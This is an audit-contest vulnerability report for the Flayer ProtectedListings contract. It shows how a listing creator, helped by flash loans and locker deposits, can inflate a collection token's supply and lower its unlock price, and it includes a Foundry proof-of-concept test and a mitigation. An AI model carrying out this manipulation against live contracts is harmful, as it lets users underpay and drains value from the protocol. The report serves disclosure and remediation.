Sharp Blonde Camel

High

# Listing creator can manipulate the unlock price

### Summary

The [`utilizationRate`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L273) function calculates the utilisation rate for a particular collection. Then, it's used to calculate current compound factor that directly influences the unlock price. The **listing creator** is able to inflate the total supply of collection token, decreasing the utilisation rate and, in the end, decrease the unlock price.

### Root Cause

In [`ProtectedListings.sol#L273`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/ProtectedListings.sol#L273) the utilisation rate is calculated using the current total supply of the collection token supply that can be easily increased by depositing collection tokens to the locker.


### Internal pre-conditions

The listing creator has to have collection tokens initially or there should be a liquidity to buy collateral tokens and redeem them using flash loan.

### External pre-conditions

None

### Attack Path

If the listing creator does not have collection tokens, they:
1. Take a flash loan (It will be paid after the whole process is finished).
2. Buy collateral tokens on the pool.
3. Redeem collection tokens using collateral token.

Then the listing creator:
1. Deposits all collection tokens to the locker.
2. Unlocks the listing with lower price.
3. Redeems all collection tokens.

If there was a flash loan, they deposit collection tokens, swap back the collateral token and pay the flash loan.

### Impact

Decreasing the unlock price.

### PoC

Run this test as part of `ProtectedListings.t.sol`.

```solidity
    function test_abuser_CanUnlockProtectedListingForCheaperPrice() public {

        uint _tokenId = 10001;
        uint96 _tokensTaken = uint96(0.95 ether);

        // Ensure that we don't get a token ID conflict
        _assumeValidTokenId(_tokenId);

        // Set the amount of tokens taken as variable
        vm.assume(_tokensTaken >= 0.1 ether);
        vm.assume(_tokensTaken <= 1 ether - protectedListings.KEEPER_REWARD());

        // Set the owner to one of our test users (Alice)
        address payable _owner = users[0];

        // Capture the amount of ETH that the user starts with so that we can compute that
        // they receive a refund of unused `msg.value` when paying tax.
        uint startBalance = payable(_owner).balance;

        for (uint256 i = _tokenId; i < _tokenId + 10; i++) {
            // Mint our token to the _owner and approve the {Listings} contract to use it
            erc721a.mint(_owner, i);

            // Create our listing
            vm.startPrank(_owner);
            erc721a.approve(address(protectedListings), i);
            _createProtectedListing({
                _listing: IProtectedListings.CreateListing({
                    collection: address(erc721a),
                    tokenIds: _tokenIdToArray(i),
                    listing: IProtectedListings.ProtectedListing({
                        owner: _owner,
                        tokenTaken: _tokensTaken,
                        checkpoint: 0
                    })
                })
            });

            // Confirm the remaining collateral against the listing. We can safely cast the
            // `getListingCollateral` to a uint as we know it will be a positive number in this
            // test case.
            uint expectedCollateral = 1 ether - protectedListings.KEEPER_REWARD() - _tokensTaken;
            assertEq(uint(protectedListings.getProtectedListingHealth(address(erc721a), i)), expectedCollateral);

            // Approve the ERC20 token to be used by the listings contract to cancel the listing
            locker.collectionToken(address(erc721a)).approve(address(protectedListings), _tokensTaken);

            // Confirm that the user has paid no taxes yet from their ETH balance
            assertEq(payable(_owner).balance, startBalance, 'Incorrect startBalance');

            // Confirm that the ERC20 is held by the user from creating the listing
            assertEq(
                locker.collectionToken(address(erc721a)).balanceOf(_owner),
                _tokensTaken * (i - _tokenId + 1),
                'Incorrect owner collectionToken balance before unlock'
            );
            vm.stopPrank();

        }

        vm.warp(block.timestamp + 10000);

        // Give more tokens to user

        for (uint256 i = _tokenId + 10; i < _tokenId + 20; i++) {
            // Mint our token to the _owner and approve the {Listings} contract to use it
            erc721a.mint(_owner, i);
        }

        // Not manipulated price
        console.log(protectedListings.unlockPrice(address(erc721a), _tokenId));


        vm.startPrank(_owner);
        for (uint256 i = _tokenId + 10; i < _tokenId + 20; i++) {
            erc721a.approve(address(locker), i);
            locker.deposit(address(erc721a), _tokenIdToArray(i));
        }
        vm.stopPrank();

        // Manipulated price
        console.log(protectedListings.unlockPrice(address(erc721a), _tokenId));

        vm.startPrank(_owner);
        locker.collectionToken(address(erc721a)).approve(address(locker), type(uint256).max);
        for (uint256 i = _tokenId + 10; i < _tokenId + 20; i++) {
            locker.redeem(address(erc721a), _tokenIdToArray(i));
        }
        vm.stopPrank();

    }
```

### Mitigation

Make sure users cannot inflate the utilization rate instantly. Consider using checkpoints for balances and `totalSupply`, select the values from the block prior to the current block.